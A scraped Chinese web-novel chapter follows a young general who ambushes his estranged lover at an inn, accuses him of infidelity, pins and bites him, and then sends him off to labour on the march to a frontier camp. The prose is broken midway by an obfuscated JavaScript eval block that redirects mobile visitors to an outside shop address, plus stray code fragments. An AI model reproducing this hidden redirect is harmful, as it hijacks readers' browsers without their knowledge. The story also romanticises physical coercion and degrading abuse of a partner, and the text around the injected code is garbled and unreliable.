文趣网 > 其他小说 > 兄长死掉后该怎么继承男嫂子 > 15. 铁马秋风大散关
    那日后,陆家和林家正式退了婚。一时间,这段短暂的婚约成了京城贵族里不少人茶余饭后的谈资。虽然林家和陆家给的官方解释是林家长辈希望早日完婚,而陆明川归期未定,性子又太过急躁,所以才退了婚。

    但这借口未免也太过浅薄,怎么能堵住悠悠众口,不少谣传说法都冒了出来。

    陆明川对此不屑一顾,可陆家并不这么看。

    这不,离京的日子到了,陆老将军和陆夫人依旧铁青着两张脸,顾忌着身旁不少相送的同僚,只好干巴巴叮嘱陆明川记着忠君报国,万事小心。

    辞毕同僚亲友,出了正阳门,陆明川弃了马车,翻身上马。御赐的锦缎器物尽数装在身后几辆骡车,数十亲卫策马紧随,扬尘奔赴边关。

    尽管伤还没好全,但陆明川心中却有说不出的畅快,策马扬鞭,一路狂奔,只用了四天就赶上了。

    夜色已经暗下来了,赵一杨如常找了家客栈包下一整层后安排贺文生歇下了。

    贺文生瞥了一眼那个表情冷淡的男人。这段时间里,每天无论吃饭还是赶路,这人都不怎么说话,他现在都不知道是要去哪儿。

    贺文生戳着碗里的饭,想着陆明川到底打算干什么?除过最开始那几天,他们赶路并不算急,甚至还有些等人的意思。

    “郎君若是吃好了就歇着吧,我把这些送下去。”贺文生没心思吃,听到后就茫然地点点头,赵一杨见状熟练地把餐盘碗筷收拾整齐,点了下头就出去了。

    似乎是要下雨,夜黑得早了些,贺文生点上烛火后坐在桌边皱眉思索些什么。

    灯下看美人,果然不虚此言,昏黄的灯光洒在那人脸上更添了几分柔和,眼角眉梢晕开几分颜色,多了些灼人艳色。

    烛火摇曳,贺文生似乎是有些疲惫,白玉似的指节扶上额头,皱着的眉头更紧了些,柔美的脸庞在烛光的闪烁下更多了些扑朔迷离的意味。

    但是又因为隔着门窗看不真切,像是蒙了一层薄纱。陆明川只觉此人又漂亮了,站在门外静静欣赏了好一会儿,正要推门进去,一阵风却将烛火熄灭了。

    贺文生一惊,才听见窗外淅淅沥沥的小雨声,舒了一口气在黑暗中摸索着找火折子。

    陆明川起了些坏心思,想再去逗逗这人。一言不发地踹开门,弄出好大声响,吓得贺文生又掉了刚摸到的火折子。

    “谁?!赵一杨?!”

    乌云遮住月色,陆明川在黑暗里只管笑着靠近这人,尽管看不见,但高大的身影还是很有压迫感。

    听着逐渐靠近的脚步声,贺文生声音明显带了些慌乱,操起手边的水瓶壮胆,大声喊道,“你是谁?!说话!”

    凭借着常年行军的判断力,陆明川冲上前一把夺下那人手里的家伙,身子贴上去,紧紧箍住贺文生手腕,压低声音,“劫色。”

    那天在陆府,陆明川杀了贺文生的心都有,可这么多天不见,这会儿他连骂人的心思都歇了,只想今晚好好搂着人睡一觉。

    “你敢!”贺文生脸色发白,手心发汗却仍撑着一口气大声呵斥,“知道外面的人是谁吗!你敢动我就死定了!”尽管心里没谱,他还是大声借着陆家的势。

    陆明川心里发笑,这算什么?用自己的人吓自己。

    从手中夺下那只破瓶子,不顾身边人的颤抖与挣扎,他揽住对方的腰,性感又熟悉的声音响起,“是我,认不出你男人了?”

    听得贺文生头皮发麻,在他怀里挣扎起来,“你滚!”

    听着这带了愠色的声音,陆明川笑了笑,半点顾不上这些挣扎会牵动身上的伤,紧紧抱住贺文生。

    挣扎了一会,贺文生就没了力气,疲惫地说,“放开。”

    “脾气真是越来越大了。”陆明川恋恋不舍地松开人,点上蜡烛后,坐回桌旁静静看着这个让他声名尽毁的小白眼狼。

    “看什么看!”贺文生气急败坏地说道,显然还没从刚刚的捉弄中回过神。

    看见这人,他就会想起那些日子的委屈和屈辱,如今还把自己弄到这个看不出是哪的鬼地方来羞辱,贺文生心里的委屈爆发了。

    “你个混蛋!这又是哪!你又想干什么!我都说过我恨死你了,我不会跟着你!你又要干什么?!”

    “这么多天了,你就说这个?怎么不想我?”陆明川没头没尾地接了这么一句。

    贺文生绝望了,每次都这样牛头不对马嘴,他真怀疑陆明川到底有没有学过说话。他用力将那个水瓶砸到陆明川身上,“你算什么东西!我凭什么要想你!每次你都这么自说自话!你以为谁都要围着你转吗!”

    陆明川脸色阴沉,“翅膀硬了是吧,敢这么和我说话!真以为我就不会动你了?”

    贺文生大吼道,“你能怎么样!无非就是那种恶心人的事!大不了你杀了我!”

    陆明川站起身俯视这人,咬着牙问,“他妈这么久了,你都不问问我脸上怎么回事?”

    “关我什么事,我为什么要关心你!”

    “好,真是有骨气。”陆明川气得在屋子里转圈,这什么荒郊野外的野店,屋子里连个能砸的摆件都没有。

    转了一圈后,他走回去,指着贺文生咬牙切齿,口不择言,“你个王八蛋,别以为我不知道,你他妈早就找好下家了是不是?!”

    贺文生更是丈二和尚摸不着头脑,但还是梗着脖子喊,“和你又有什么关系!”

    “和我没关系?!那他妈操了你这么久的是谁?!你肚子里那个是谁的!”

    “滚!你还好意思提,太恶心了!”贺文生涨红了脸,只恨刚刚那个水瓶没砸到陆明川头上。

    “我恶心?那你那些水田、银票还有房屋地契又是勾引哪个野男人给的!”陆明川头上青筋暴起,怒吼着说,“你他妈敢给我戴绿帽子!”

    来之前,陆明川吩咐人去查过贺文生接触了什么人,却不想查到几个月前有人给贺文生在银庄存了不少东西,银票、地契、上好的水田,准备得倒是齐全。

    贺文生冷笑,“对,没错,就是外头别人给的。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971647|214665||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    陆明川想也没想揪起对方衣领,他没料到贺文生会这么回答,他猜过很有可能是陆明章给的,刚刚那么说只是为了羞辱对方,没想到羞辱的却是自己。

    怒火冲晕了头脑,他没心思分辨真假,把人死死按到桌子上,狠狠咬住那段纤细脆弱的脖子,快要出血才松口后道,“呵,没想到你还挺有手段的,臭婊子,下作,恶心!说!奸夫是谁!”

    贺文生痛得眼泪都出来了,看不清眼前人狰狞的面孔,依旧嘴硬,“滚!你他妈也就这么点手段!我的事和你没关系!”

    陆明川放开他,收拾好衣服后冷笑一声,“臭婊子,以后给我滚远点。”

    摔门而去后他大声喊赵一杨,“赵一杨!到地方后把这个畜生给我送去伙夫营吃沙子去!”

    贺文生静静想着,这下知道是去哪了。

    第二日起贺文生的待遇就变了。陆明川好像将这人完全抛诸脑后似的,半点不管他的衣食住行。

    白天陆明川带着十几个亲卫骑马走在前头,而他是跟着家仆一同乘骡车。晚上陆明川住驿站正房,他则是跟着其他家丁仆从住在偏房、马院。甚至连陆明川歇下了之后他还要跟着那些仆从一块干活。

    一开始,贺文生极其不适,粗茶淡饭、劳作干活尚可忍受,要命的是其他人探究打量的目光。这些亲卫家丁都是跟了陆明川很久的人,有几个他在那个别院住的时候还见过。此时看他待遇一落千丈,那些人里自然有人忍不住打听,每次他都只能笑着打哈哈过去。

    不过他倒也会苦中作乐,毕竟他一向对吃穿用度这些不在乎,只要不在乎别人的眼光,这甚至比他以前父亲病重时的日子还好过些。于是没事的时候,他便厚着脸皮和那些家仆聊天,聊些有的没的,什么祖籍何处,跟了陆明川多久,军营气候怎么样,怎么干活省力……

    日子久了那些人也和善起来,不再打听贺文生和小将军的关系,闲时一群人也坐在一起聊聊天。

    十几日的路程过后,贺文生黑了瘦了,整个人却更有活力,每日跟喝大了似的,神采奕奕,陆明川偶尔看到他冷哼一声便走了。

    饮马渡秋水,水寒风似刀。平沙日未没,黯黯见临洮。这一路上,天辽地阔,贺文生平生第一次真正领略到诗书里的边塞风光。

    再往北行,村落渐渐稀疏。良田变少,群山横亘眼前,山势愈发苍劲。风开始变干,不复汴京城的温润,早晚凉意加重,天上云也显得高远。偶尔能看见戍卒巡路,回头望,长城残垣断断续续隐现于山坳之间。

    过了关隘,便到了真正的边地。满目黄沙与荒草,视野浩瀚苍茫,再没有半点浮华富贵气。风卷沙石,白日飞尘,落日在这里格外宏大沉红。

    今晚,夜色既暗。抬头望去,只见数只猎鹰盘旋翱翔,纷纷回营。远处平地上,连片军营慢慢浮现,帐幕、寨墙、旌旗错落,战马嘶鸣隐约随风传来。四周不见寻常百姓村落,只有戍守的土地,辽阔,肃杀,满是铁血荒寒之气。

    好一个,铁马秋风大散关!